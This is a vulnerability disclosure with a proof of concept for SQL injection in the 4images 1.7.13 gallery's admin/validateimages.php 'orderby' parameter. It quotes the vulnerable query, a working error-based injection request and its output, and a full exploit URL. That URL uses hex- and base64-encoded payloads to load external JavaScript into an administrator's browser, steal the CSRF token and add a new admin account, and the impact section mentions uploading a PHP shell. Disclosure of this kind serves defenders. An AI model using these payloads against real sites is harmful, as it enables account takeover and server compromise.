4images 1.7.13 SQL Injection

`# vulnerable app : 4images <= 1.7.13  
# Vendor : www.4homepages.de  
# Author : Ahmed sultan (0x4148)  
# Email : [email protected]  
# Home : 0x4148.com  
  
4images is a powerful web-based image gallery management system. Features  
include comment system,  
user registration and management, password protected administration area  
with browser-based upload and HTML templates for page layout and design.  
The app is vulnerable to Sql injection flaw which can be escalated to new  
administrator add exploit  
Vulnerable code  
File : admin/validateimages.php  
Line 406  
$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name,  
i.image_date, i.image_media_file".get_user_table_field(", u.",  
"user_name")."  
FROM ".IMAGES_TEMP_TABLE." i  
LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.",  
"user_id")." = i.user_id)  
WHERE $condition  
ORDER BY $orderby $direction  
LIMIT $limitstart, $limitnumber";  
$result = $site_db->query($sql);  
Input parameter orderby is not sanitized before being passed to the sql  
query which lead to sql injection flaw  
POC  
GET  
/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10  
HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101  
Firefox/17.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: 4images_lastvisit=1478064418; 4images_userid=1;  
sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4  
  
Will result in  
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>:  
SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date,  
i.image_media_file, u.user_name  
FROM 4images_images_temp i  
LEFT JOIN 4images_users u ON (u.user_id = i.user_id)  
WHERE 1=1  
ORDER BY extractvalue(1,concat(0x7e,version())) ASC  
LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a'  
  
Exploitation :  
By the help of JS the sql injection flaw can be used to obtain the current  
csrf token and use it to add new administrator within the admin browser  
session  
Full exploit poc  
admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)  
  
Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be  
executed inside administrator's browser  
  
Impact  
Attacker can inject JS code which result in bypassing the CSRF token ,  
adding new administrator's account  
or even updating allowed extensions and uploading php shell on the  
vulnerable host  
  
Reference(s):  
https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/  
  
Disclosure timeline  
1/11 - Vulnerability was reported  
2/11 - Vendor sent fixation to review  
3/11 - Fixed evrsion was retested by me and approved  
3/11 - Vendor scheduled official update release  
10/11 - Public disclosure  
`